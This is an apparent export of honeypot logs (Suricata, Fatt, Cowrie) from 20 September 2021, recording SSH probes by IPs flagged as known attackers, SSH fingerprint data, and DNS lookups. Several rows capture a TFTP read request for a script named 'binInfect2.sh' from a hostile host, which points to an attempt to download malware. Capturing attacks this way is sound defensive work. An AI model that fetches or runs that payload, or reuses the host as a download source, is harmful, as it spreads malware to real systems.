29457	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:37.923906+03	2021-09-20 14:30:04.153525+03	{"_id": "xgb1AnwBvYTbRNuEPDVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 368, "bytes_toserver": 320}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:26:37.923906Z", "@timestamp": "2021-09-20T11:26:37.923Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
29458	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:37.923501+03	2021-09-20 14:30:04.154524+03	{"_id": "xQb1AnwBvYTbRNuEPDVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4000, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 555, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1067311988281192, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55540, "timestamp": "2021-09-20T11:26:37.923501Z", "@timestamp": "2021-09-20T11:26:37.923Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29461	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:26:33.091116+03	2021-09-20 14:30:04.157524+03	{"_id": "wgb1AnwBvYTbRNuEKDXl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 368, "bytes_toserver": 256}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1879711493489339, "payload": "RQAAMsE3QAAxEa7zwKgUdG1olwvEFwBFAB5a2AABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:26:33.091116Z", "@timestamp": "2021-09-20T11:26:33.091Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2.7@.1......tmh.....E..Z...binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
29462	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:32.91288+03	2021-09-20 14:30:04.158523+03	{"_id": "vgb1AnwBvYTbRNuEKDXj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32853, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 560, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1447373644032146, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 46972, "timestamp": "2021-09-20T11:26:32.912880Z", "@timestamp": "2021-09-20T11:26:32.912Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29463	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:32.913291+03	2021-09-20 14:30:04.159523+03	{"_id": "wAb1AnwBvYTbRNuEKDXj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 276, "bytes_toserver": 256}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:26:32.913291Z", "@timestamp": "2021-09-20T11:26:32.913Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
29464	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:32.913291+03	2021-09-20 14:30:04.160524+03	{"_id": "vwb1AnwBvYTbRNuEKDXj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "dest_port": 69, "timestamp": "2021-09-20T11:26:32.913291Z", "@timestamp": "2021-09-20T11:26:32.913Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
29465	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:42.931794+03	2021-09-20 14:30:04.162523+03	{"_id": "2Ab1AnwBvYTbRNuETzX5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59890, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "AAAA", "version": 2, "authorities": [{"ttl": 2122, "rrname": "betaalverzoek.ir", "rrtype": "SOA"}]}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 435395597840194, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 38241, "timestamp": "2021-09-20T11:26:42.931794Z", "@timestamp": "2021-09-20T11:26:42.931Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29466	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:26:43.595156+03	2021-09-20 14:30:04.163523+03	{"_id": "2gb1AnwBvYTbRNuETzX5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 547754089782314, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45488, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.595156Z", "@timestamp": "2021-09-20T11:26:43.595Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29467	1.117.166.242	109.199.241.180	Suricata	2021-09-20 14:26:43.59131+03	2021-09-20 14:30:04.164523+03	{"_id": "3Qb1AnwBvYTbRNuETzX5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {}}, "flow": {"start": "2021-09-20T11:25:52.748335+0000", "pkts_toclient": 5, "pkts_toserver": 5, "bytes_toclient": 953, "bytes_toserver": 354}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.117.166.242", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.166.242", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 9822317603631, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39124, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:26:43.591310Z", "@timestamp": "2021-09-20T11:26:43.591Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
29468	8.37.43.231	109.199.241.180	Fatt	2021-09-20 14:26:43.635923+03	2021-09-20 14:30:04.166524+03	{"_id": "3wb1AnwBvYTbRNuEUTUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.37.43.231", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "src_ip": "8.37.43.231", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.99.16.8843534", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 51418, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.635923", "@timestamp": "2021-09-20T11:26:43.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29469	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:43.337154+03	2021-09-20 14:30:04.167524+03	{"_id": "4gb1AnwBvYTbRNuEUTUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41804, "timestamp": "2021-09-20T11:26:43.337154", "@timestamp": "2021-09-20T11:26:43.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29475	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:26:43.342763+03	2021-09-20 14:30:04.174523+03	{"_id": "8wb1AnwBvYTbRNuEUjUp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "5d4b04b07df2", "@version": "1", "duration": 0.016579627990722656, "timestamp": "2021-09-20T11:26:43.342763Z", "@timestamp": "2021-09-20T11:26:43.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29470	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:43.340421+03	2021-09-20 14:30:04.168525+03	{"_id": "4wb1AnwBvYTbRNuEUTUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53364, "timestamp": "2021-09-20T11:26:43.340421", "@timestamp": "2021-09-20T11:26:43.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29471	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:43.341345+03	2021-09-20 14:30:04.170523+03	{"_id": "5Ab1AnwBvYTbRNuEUTUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45488, "timestamp": "2021-09-20T11:26:43.341345", "@timestamp": "2021-09-20T11:26:43.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29472	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:26:43.62114+03	2021-09-20 14:30:04.171524+03	{"_id": "5wb1AnwBvYTbRNuEUTUi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53364, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.621140", "@timestamp": "2021-09-20T11:26:43.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29473	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:26:43.327457+03	2021-09-20 14:30:04.172524+03	{"_id": "8Qb1AnwBvYTbRNuEUjUp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:53364 (192.168.176.2:22) [session: 4b31f060c87d]", "session": "4b31f060c87d", "@version": "1", "protocol": "ssh", "src_port": 53364, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.327457Z", "@timestamp": "2021-09-20T11:26:43.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29474	8.37.43.231	109.199.241.180	Cowrie	2021-09-20 14:26:43.337283+03	2021-09-20 14:30:04.173524+03	{"_id": "8gb1AnwBvYTbRNuEUjUp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.231", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.231", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.99.16.8843534'", "session": "9a97a52c62f1", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.99.16.8843534'", "@version": "1", "timestamp": "2021-09-20T11:26:43.337283Z", "@timestamp": "2021-09-20T11:26:43.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", 